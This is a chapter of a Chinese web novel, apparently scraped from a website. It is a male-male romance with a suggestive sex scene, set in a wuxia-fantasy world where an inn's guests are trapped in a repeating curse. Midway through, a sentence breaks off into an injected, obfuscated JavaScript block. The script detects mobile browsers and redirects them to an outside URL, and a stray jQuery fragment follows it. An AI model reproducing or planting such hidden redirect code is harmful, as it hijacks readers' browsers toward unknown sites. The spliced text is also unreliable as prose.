次日一早,谢凌高高兴起来去赴约,回头瞧见沈儇一脸哀怨的模样,不由觉得好笑。


    谢凌按着他亲了一口,颇为宠溺地说:“乖,你在这等我。”


    沈儇无言地觑了他一会儿,果然,男人说什么情啊爱啊,都是骗人的。


    他举起枕头就砸了过去,稳稳砸在谢凌腰身,对方却弯腰低笑:“你吃醋了?”


    吃你妹。


    沈儇没说话,谢凌以为他默认了,耐心地哄道:“那是我师姐,我们十几年的情谊,好不容易见一面,自然是要叙叙旧的,”


    “叙旧。”沈儇咬重了这两个字,看着他□□的动静,心说你他妈就这么叙啊。


    “是的。”谢凌勾他鼻尖,微微叹气,这是耐心耗尽的表现。


    阳光溜进窗内,洒在地上一片光晕,沈儇看着背对着自己即将出门的谢凌,忽然冲过去,张口嗷呜一声,狠狠咬住了谢凌的脖颈。


    脆弱的地方被猛地咬住,谢凌忍不住闷哼一声,有些恼火,但又不好把人甩开,生生忍着没发作,直到沈儇停下。


    谢凌提起他的后脖颈,眉目压抑:“你过分了。”


    沈儇眨眨眼,双手包裹住他另一只手,举起来放到自己脸上,探出一截鲜红的软舌,舔了一口。


    ……


    谢凌被突如其来的求欢刺激的一抖,湿润软滑的嫩舌在他指尖来回咬,并不疼,反而痒痒的,像幼兽的未长齐的小牙。


    谢凌凭借着极大的忍耐力一点点推开他,认真中带着惋惜地说:“不行。”


    “你不行了吗?”沈儇故意曲解他的意思。


    “小坏蛋。”谢凌捏着他的脸,佯怒:“我行不行你不清楚吗?今天这么主动,屁股不疼了?”


    沈儇笑了,眼神暗示他,明明是一张乖巧可人的脸,却处处露着风流姿态,纯洁与放荡同时呈现在脸上,极致的差距却毫无违和,反而让人心神激荡。


    谢凌使劲亲了他一口,像是极力忍耐着什么,声音暗哑:“别再勾.引我了。”


    沈儇状若未闻,拽着谢凌躺倒在塌上,谢凌皱眉:“你……”


    温热的唇瓣覆上来,沈儇不得要领的亲吻,时不时泄出几声闷哼,猫儿叫.春似的。反应过来,谢凌狠狠含住吻了回去,沈儇只是稍稍挣扎两下,就不动了,任他在口腔肆意横行。


    沈儇积极回应着,谢凌吻的动情,觉得不能这样下去,不然真的耽误了,只是稍稍退开一点,对方接着哼哼唧唧的缠上来,弄得谢凌一点脾气都没有。


    最后两人都亲累了,谢凌粗喘着就要起身,低头就看见令人窒息的一幕——沈儇被吻的眼神涣散,迷茫与失神在脸上轮番交替,嘴唇微微张开,小口呼吸着,眼角浸着泪,一副被欺负狠了的柔弱模样。


    谢凌喉结滚动,婆娑着他充的红唇,应该是把人磨疼了,沈儇回过神看着他,忽然笑了,歪头挑衅:“行舟、哥哥…不要吗?”抬腿缠在他腰身摇晃。


    妈的。


    谢凌一把扯掉衣襟,一边疯狂地啃咬他一边脱,忍不了了!


    *


    等两人结束,已经趋近午饭时间。


    沈儇拖着自己受累的屁股安生地坐在餐桌,心情不错地吃着饭,谢凌在他旁边时不时给他夹菜盛汤。


    谢凌伸手给他揉,一边调侃:“真想不到你还有这手段。”


    沈儇低头瞄了一眼。扑哧一声笑了。


    虽然谢凌确实很持.久,但经不起次数多。


    前面几次用手使劲捏出来一回,在谢凌发怒时立马低头,想到谢凌黑着脸的模样,沈儇就憋不住笑。


    谢凌使劲打了一下,“还敢笑。”


    嗓子的过度使用,导致沈儇现在说话带着娇滴滴地口气,他轻推了谢凌一下,说:“你轻点。”


    谢凌手又放轻了。


    一早上的荒诞掏空了谢凌,他现在也没什么旖旎的心思,走路都隐隐感觉大腿根隐隐发颤,更别说进小树林了。


    两人刚下楼,迎面看见坐着下围棋的兰屿,对面放着一杯热气腾腾地茶。


    “诶老板!给我来一碗面。”


    “好嘞。”


    底下人来来往往,客人喧嚣,完全不像是闹鬼的样子,跟昨晚看到的简直天差地别,沈儇循声看过去,招呼人的桌子上只坐了一个人,上面却已经放了三碗面了。


    吃的真多。


    沈儇心里惊叹。


    谢凌牵着沈儇坐在了兰屿那一桌,中间谁都没出声,安静地看着棋局,直到谢凌下了一颗子,兰屿才抬头。


    谢凌总觉得她的眼神很奇怪,又不知道哪里不对劲,“怎么了。”


    兰屿看见他惊讶一瞬,感叹道:“行舟,你…什么时候过来的,好巧,呃,你旁边这位是?”


    谢凌沈儇:……


    “我刚才过来的。”谢凌皱眉:“你昨晚不是见过阿儇……”


    兰屿略一停滞:“昨晚?”


    卡壳一瞬,兰屿又恢复了往常模样,笑着说:“行舟,我们有好些年没见了吧,你过的怎么样?”


    “我。”谢凌敏锐地问:“你过得怎么样?”


    “还不错。就是马上入冬了,我的宅子还没收回来呢。”兰屿絮絮叨叨地说着,像是看不出他俩惊讶古怪的神情,继续唠家常:“对了,你身边这位,呃…?刚才听你叫他阿儇,他是你伴侣吗,真好,你也是有相伴的人了。”


    谢凌站起来,拧眉看着她,“什么入冬,现在春天都过一半了。”


    沈儇也匆忙地起身,忽然,一道熟悉地声音喊道:“诶老板,给我来一碗面!”


    他终于知道哪里不对劲了。


    这里的人看起来与平常人没区别,但仔细观察就发现,他们一直在无厘头的重复着一件事——戏台只唱一首歌,一直都是那红衣长衫飘带女子、客人每隔半盏茶就点一碗面,桌上已经堆积足足五碗面了,来往进出的人只有那三四个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906398|160177||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,原地打转似的。


    再低头看,兰屿已经收起棋子,开始重新下,似乎忘记了两人的存在。


    沈儇与谢凌对视一眼,凑过去看兰屿的棋局。黑棋起手左上角星位,白棋下在天元。


    一模一样的布阵。


    谢凌和沈儇的第一反应都是先出门,刚挪动步子,沈儇就被拉住,谢凌警惕的审视四周,说:“周围有内力波动,很强。”


    那团似有似无、忽远忽近的甚至能成型的雾气,长了眼睛一样往他们身边靠近。


    谢凌拔出剑,向正前方掷出,刀剑直直刺进木头柱内。发生这样的异样,屋内的人依旧没有任何反应。


    “既然都露出来了,还藏什么?”谢凌说着,把沈儇拉到身后。


    一个打扮奇怪光头的老人从角落走出来,看了两人一眼,把剑拔了出来,扔给谢凌。


    “贫僧还以为,你二人也中了诅咒。”


    “诅咒?什么诅咒?你为什么知道?你跟了我们多久,认识我们?”


    “是莫哈达的下的诅咒,贫僧是专门的破咒人,老远看见这驿站冒着邪气前来看看,至于你二人的身份。”老道微微一笑:“外头五十里外的营帐不难认出来。”


    谢凌半信半疑,指了指兰屿:“是什么诅咒。”


    “群体诅咒。”老道慢慢走进,皱着眉叹气:“不好解。”


    沈儇问:“摸哈达是景国的巫师?”


    “是的。但他现在正在前去南蛮的路上,我们破咒的人正在追捕他。”老道说。


    “为什么我们没事?”


    “因为这是半个月前下的了。”


    谢凌沈儇同时震惊:“但昨晚她还是好好的。”


    老道摊开一卷袖口纸,念道:“群体诅咒又称特定范围内诅咒,被下咒人会不间断的丧失记忆、无限重复一件事,只有在月亮升起之时才会解除,循环往复,直到两个月咒期结束,精气被耗尽,死亡。”


    一般来说,下咒者都是为了一己私欲,或是为了青春永驻、报仇、造势、钱财,从前这类人人人喊打,普及也不高,但如今景国整个国家被掌控其中,学习巫术的人自然越来越多,一旦不成规矩,就会失控。


    莫哈达谢凌虽然没听过,但他觉得既然有能力下这么大一个咒,自然不是好对付的。


    “群体诅咒需以大量鲜血为引,再画符,它并不会给施咒者带来好处,反而会伤其根本,需慎用。”老道将剩下的读完。


    心中的疑惑茅塞顿开——谢凌不信鬼神和巫术,但为了防止景国暗中做些什么,专门在边境处设立了检测站,其实就额是个巫术球,只要会一点巫术都会被检测出来,进城容易,出城难。


    消耗甚至造成损伤,自然检测不出一点,也就会顺利出城了。


    老道看他二人思索的神情,就知道他们已经想好对策了,颔首行礼:“贫僧会在此地等着二人抓到人回来,此咒只有施咒人的血才能解。”